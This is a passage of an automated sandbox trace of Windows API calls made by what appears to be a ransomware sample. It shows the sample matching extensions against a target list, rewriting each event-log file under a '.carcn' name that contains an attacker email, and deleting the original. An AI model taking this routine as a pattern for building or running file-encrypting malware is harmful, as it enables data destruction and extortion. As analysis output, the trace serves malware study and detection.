(lpString=".1cd") returned 4 [0178.733] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0178.733] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0178.733] lstrlenW (lpString=".jpg") returned 4 [0178.734] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0178.734] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0178.734] lstrlenW (lpString="Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 49 [0178.734] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.734] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=69632) returned 1 [0178.734] CloseHandle (hObject=0x300) returned 1 [0178.734] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 0x20 [0178.734] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.734] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.734] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.735] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.735] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0178.735] GetLastError () returned 0x0 [0178.735] ReadFile (in: hFile=0x300, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x11000, lpOverlapped=0x0) returned 1 [0178.801] WriteFile (in: hFile=0x390, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x11010, lpOverlapped=0x0) returned 1 [0178.803] ReadFile (in: hFile=0x300, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.803] WriteFile (in: hFile=0x390, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x136, lpOverlapped=0x0) returned 1 [0178.803] SetEndOfFile (hFile=0x390) returned 1 [0178.803] CloseHandle (hObject=0x390) returned 1 [0178.805] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.805] SetEndOfFile (hFile=0x300) returned 1 [0178.806] CloseHandle (hObject=0x300) returned 1 [0178.806] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0178.807] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 1 [0178.807] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0178.807] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0178.807] lstrlenW (lpString=".doc") returned 4 [0178.807] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0178.807] lstrlenW (lpString=".docx") returned 5 [0178.807] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0178.807] lstrlenW (lpString=".pdf") returned 4 [0178.807] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0178.807] lstrlenW (lpString=".xls") returned 4 [0178.807] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0178.807] lstrlenW (lpString=".xlsx") returned 5 [0178.807] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0178.807] lstrlenW (lpString=".ppt") returned 4 [0178.807] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0178.807] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0178.807] lstrlenW (lpString=".zip") returned 4 [0178.807] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0178.807] lstrlenW (lpString=".rar") returned 4 [0178.807] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0178.807] lstrlenW (lpString=".bz2") returned 4 [0178.807] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0178.807] lstrlenW (lpString=".7z") returned 3 [0178.807] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0178.807] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0178.807] lstrlenW (lpString=".dbf") returned 4 [0178.807] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0178.807] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0178.808] lstrlenW (lpString=".1cd") returned 4 [0178.808] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0178.808] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0178.808] lstrlenW (lpString=".jpg") returned 4 [0178.808] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0178.808] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0178.808] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0178.808] lstrlenW (lpString=".doc") returned 4 [0178.808] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0178.808] lstrlenW (lpString=".docx") returned 5 [0178.808] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0178.808] lstrlenW (lpString=".pdf") returned 4 [0178.808] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0178.808] lstrlenW (lpString=".xls") returned 4 [0178.808] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0178.808] lstrlenW (lpString=".xlsx") returned 5 [0178.808] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0178.808] lstrlenW (lpString=".ppt") returned 4 [0178.808] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0178.808] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0178.808] lstrlenW (lpString=".zip") returned 4 [0178.808] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0178.808] lstrlenW (lpString=".rar") returned 4 [0178.808] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0178.808] lstrlenW (lpString=".bz2") returned 4 [0178.808] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0178.808] lstrlenW (lpString=".7z") returned 3 [0178.808] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0178.808] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0178.808] lstrlenW (lpString=".dbf") returned 4 [0178.808] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0178.808] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0178.808] lstrlenW (lpString=".1cd") returned 4 [0178.808] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0178.809] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0178.809] lstrlenW (lpString=".jpg") returned 4 [0178.809] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0178.809] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0178.809] lstrlenW (lpString="Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 49 [0178.809] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.809] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=69632) returned 1 [0178.809] CloseHandle (hObject=0x300) returned 1 [0178.809] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 0x20 [0178.809] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.809] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.809] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.809] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.809] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0178.810] GetLastError () returned 0x0 [0178.810] ReadFile (in: hFile=0x300, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x11000, lpOverlapped=0x0) returned 1 [0178.870] WriteFile (in: hFile=0x390, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x11010, lpOverlapped=0x0) returned 1 [0178.871] ReadFile (in: hFile=0x300, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.871] WriteFile (in: hFile=0x390, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x136, lpOverlapped=0x0) returned 1 [0178.872] SetEndOfFile (hFile=0x390) returned 1 [0178.872] CloseHandle (hObject=0x390) returned 1 [0178.873] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.874] SetEndOfFile (hFile=0x300) returned 1 [0178.875] CloseHandle (hObject=0x300) returned 1 [0178.875] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0178.875] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 1 [0178.875] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0178.875] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0178.875] lstrlenW (lpString=".doc") returned 4 [0178.875] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0178.875] lstrlenW (lpString=".docx") returned 5 [0178.875] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0178.875] lstrlenW (lpString=".pdf") returned 4 [0178.875] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0178.875] lstrlenW (lpString=".xls") returned 4 [0178.875] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0178.875] lstrlenW (lpString=".xlsx") returned 5 [0178.875] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0178.875] lstrlenW (lpString=".ppt") returned 4 [0178.875] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0178.875] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0178.876] lstrlenW (lpString=".zip") returned 4 [0178.876] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0178.876] lstrlenW (lpString=".rar") returned 4 [0178.876] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0178.876] lstrlenW (lpString=".bz2") returned 4 [0178.876] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0178.876] lstrlenW (lpString=".7z") returned 3 [0178.876] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0178.876] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0178.876] lstrlenW (lpString=".dbf") returned 4 [0178.876] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0178.876] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0178.876] lstrlenW (lpString=".1cd") returned 4 [0178.876] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0178.876] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0178.876] lstrlenW (lpString=".jpg") returned 4 [0178.876] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0178.876] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0178.876] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0178.876] lstrlenW (lpString=".doc") returned 4 [0178.876] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0178.876] lstrlenW (lpString=".docx") returned 5 [0178.876] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0178.876] lstrlenW (lpString=".pdf") returned 4 [0178.876] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0178.876] lstrlenW (lpString=".xls") returned 4 [0178.876] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0178.876] lstrlenW (lpString=".xlsx") returned 5 [0178.876] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0178.876] lstrlenW (lpString=".ppt") returned 4 [0178.876] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0178.876] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0178.876] lstrlenW (lpString=".zip") returned 4 [0178.876] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0178.877] lstrlenW (lpString=".rar") returned 4 [0178.877] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0178.877] lstrlenW (lpString=".bz2") returned 4 [0178.877] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0178.877] lstrlenW (lpString=".7z") returned 3 [0178.877] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0178.877] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0178.877] lstrlenW (lpString=".dbf") returned 4 [0178.877] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0178.877] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0178.877] lstrlenW (lpString=".1cd") returned 4 [0178.877] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0178.877] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0178.877] lstrlenW (lpString=".jpg") returned 4 [0178.877] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0178.877] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0178.877] lstrlenW (lpString="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 49 [0178.877] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.877] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=69632) returned 1 [0178.877] CloseHandle (hObject=0x300) returned 1 [0178.877] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 0x20 [0178.878] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.878] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.878] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.878] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.878] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0178.905] GetLastError () returned 0x0 [0178.905] ReadFile (in: hFile=0x300, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x11000, lpOverlapped=0x0) returned 1 [0178.969] WriteFile (in: hFile=0x35c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x11010, lpOverlapped=0x0) returned 1 [0178.971] ReadFile (in: hFile=0x300, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.971] WriteFile (in: hFile=0x35c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x136, lpOverlapped=0x0) returned 1 [0178.971] SetEndOfFile (hFile=0x35c) returned 1 [0178.971] CloseHandle (hObject=0x35c) returned 1 [0178.973] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.973] SetEndOfFile (hFile=0x300) returned 1 [0178.974] CloseHandle (hObject=0x300) returned 1 [0178.974] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0178.974] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 1 [0178.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0178.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0178.975] lstrlenW (lpString=".doc") returned 4 [0178.975] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0178.975] lstrlenW (lpString=".docx") returned 5 [0178.975] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0178.975] lstrlenW (lpString=".pdf") returned 4 [0178.975] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0178.975] lstrlenW (lpString=".xls") returned 4 [0178.975] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0178.975] lstrlenW (lpString=".xlsx") returned 5 [0178.975] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0178.975] lstrlenW (lpString=".ppt") returned 4 [0178.975] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0178.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0178.975] lstrlenW (lpString=".zip") returned 4 [0178.975] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0178.975] lstrlenW (lpString=".rar") returned 4 [0178.975] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0178.975] lstrlenW (lpString=".bz2") returned 4 [0178.975] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0178.975] lstrlenW (lpString=".7z") returned 3 [0178.975] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0178.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0178.975] lstrlenW (lpString=".dbf") returned 4 [0178.975] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0178.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0178.975] lstrlenW (lpString=".1cd") returned 4 [0178.975] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0178.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0178.975] lstrlenW (lpString=".jpg") returned 4 [0178.976] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0178.976] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0178.976] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0178.976] lstrlenW (lpString=".doc") returned 4 [0178.976] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0178.976] lstrlenW (lpString=".docx") returned 5 [0178.976] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0178.976] lstrlenW (lpString=".pdf") returned 4 [0178.976] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0178.976] lstrlenW (lpString=".xls") returned 4 [0178.976] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0178.976] lstrlenW (lpString=".xlsx") returned 5 [0178.976] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0178.976] lstrlenW (lpString=".ppt") returned 4 [0178.976] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0178.976] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0178.976] lstrlenW (lpString=".zip") returned 4 [0178.976] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0178.976] lstrlenW (lpString=".rar") returned 4 [0178.976] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0178.976] lstrlenW (lpString=".bz2") returned 4 [0178.976] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0178.976] lstrlenW (lpString=".7z") returned 3 [0178.976] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0178.976] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0178.976] lstrlenW (lpString=".dbf") returned 4 [0178.976] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0178.976] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0178.976] lstrlenW (lpString=".1cd") returned 4 [0178.976] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0178.976] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0178.976] lstrlenW (lpString=".jpg") returned 4 [0178.976] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0178.977] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0178.977] lstrlenW (lpString="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 48 [0178.977] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.977] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=69632) returned 1 [0178.978] CloseHandle (hObject=0x300) returned 1 [0178.978] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 0x20 [0178.978] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.978] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" 